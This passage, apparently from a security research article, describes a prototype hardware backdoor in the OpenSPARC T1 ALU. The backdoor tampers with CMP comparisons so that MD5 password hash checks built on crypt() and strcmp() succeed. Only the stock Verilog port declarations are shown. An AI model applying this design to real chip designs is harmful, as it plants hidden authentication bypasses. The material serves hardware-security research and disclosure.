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in the following code:
char * crypt(const char *phrase, const char *setting);
// stored_hash: e.g., "$1$7c71xB0y$mPkMSwwbMWgEXsyD6YVC1"
pp = crypt("password_input", stored_hash);
The function returns a pointer to the newly generated hash string, which is
then compared to the stored hash string using strcmp():
ret = strcmp(pp, stored_hash);
The compared strings include both the hash type identifier and the salt
string. This explains why the backdoor checks for values beginning with
$1$, as previously mentioned.
For each subsequent CMP instruction that compares fragments of the hash,
the CMP instruction must produce a match until the final piece of the hash
is processed. Normally, a null byte (0x00) marks the end of a string, but
the actual length can vary depending on the hash function and salt size.
For simplicity, this backdoor prototype is specifically designed to work
with MD5 hashes.
----[ 3.3.2 Backdoor Implementation in RTL
The OpenSPARC T1 is a single-issue, in-order, multi-threaded processor
implemented in Verilog. Its main pipeline consists of six stages: Fetch,
Switch, Decode, Execute, Memory, and Writeback. The SPARC core supports
four strands (virtual processors), each equipped with a dedicated register
file.
The microarchitecture is organized into two main units: the Instruction
Fetch Unit (IFU) and the Execution Unit (EXU). The IFU handles the Fetch,
Switch, and Decode stages, managing instruction retrieval from cache or
memory, selecting the next strand for execution, and decoding instructions.
The EXU controls the Execute, Memory, and Writeback stages and contains four
functional units: the Arithmetic Logic Unit (ALU) for basic arithmetic and
logic operations, the Shifter (SHFT) for bit manipulation, the Integer
Multiplier (IMUL) for multiplication, and the Integer Divider (IDIV) for
division.
Other components such as the Load-Store Unit (LSU), responsible for memory
access operations, and the Trap Logic Unit (TLU), which manages exceptions
and interrupts.
Our backdoor is integrated into the ALU, targeting the CMP (SUBcc)
instruction. During execution, the malicious circuitry intercepts and
modifies the comparison (subtraction) operation between the two operands.
Below is the ALU module implementation:
module sparc_exu_alu
(
/*AUTOARG*/
// Outputs
so, alu_byp_rd_data_e, exu_ifu_brpc_e, exu_lsu_ldst_va_e,
exu_lsu_early_va_e, exu_mmu_early_va_e, alu_ecl_add_n64_e,
alu_ecl_add_n32_e, alu_ecl_log_n64_e, alu_ecl_log_n32_e,
alu_ecl_zhigh_e, alu_ecl_zlow_e, exu_ifu_regz_e, exu_ifu_regn_e,
alu_ecl_adderin2_63_e, alu_ecl_adderin2_31_e,
alu_ecl_adder_out_63_e, alu_ecl_cout32_e, alu_ecl_cout64_e_l,
alu_ecl_mem_addr_invalid_e_l,
// Inputs
rclk, se, si, byp_alu_rs1_data_e, byp_alu_rs2_data_e_l,
byp_alu_rs3_data_e, byp_alu_rcc_data_e, ecl_alu_cin_e, ecl_alu_rd_e,
ifu_exu_invert_d, ecl_alu_log_sel_and_e, ecl_alu_log_sel_or_e,
ecl_alu_log_sel_xor_e, ecl_alu_log_sel_move_e,
ecl_alu_out_sel_sum_e_l, ecl_alu_out_sel_rs3_e_l,
ecl_alu_out_sel_shift_e_l, ecl_alu_out_sel_logic_e_l,
shft_alu_shift_out_e, ecl_alu_sethi_inst_e, ifu_lsu_casa_e
);
input rclk;
input se;
input si;
input [63:0] byp_alu_rs1_data_e; // source operand 1
input [63:0] byp_alu_rs2_data_e_l;// source operand 2
input [63:0] byp_alu_rs3_data_e; // source operand 3
input [63:0] byp_alu_rcc_data_e; // source operand for reg cond codes
input ecl_alu_cin_e; // cin for adder
input [4:0] ecl_alu_rd_e; // uty: test
input ifu_exu_invert_d;
input ecl_alu_log_sel_and_e;// These 4 wires are select lines
input ecl_alu_log_sel_or_e;// for the logic block mux.
input ecl_alu_log_sel_xor_e;// active high and choose the
input ecl_alu_log_sel_move_e; // output they describe
input ecl_alu_out_sel_sum_e_l;// The following 4 are select lines
input ecl_alu_out_sel_rs3_e_l;// for the output stage mux. They are
input ecl_alu_out_sel_shift_e_l;// active high and choose the
input ecl_alu_out_sel_logic_e_l;// output of the respective block.
input [63:0] shft_alu_shift_out_e;// result from shifter
input ecl_alu_sethi_inst_e;
input ifu_lsu_casa_e;
output so;
output [63:0] alu_byp_rd_data_e; // alu result
output [47:0] exu_ifu_brpc_e;// branch pc output
output [47:0] exu_lsu_ldst_va_e; // address for lsu
output [10:3] exu_lsu_early_va_e; // faster bits for cache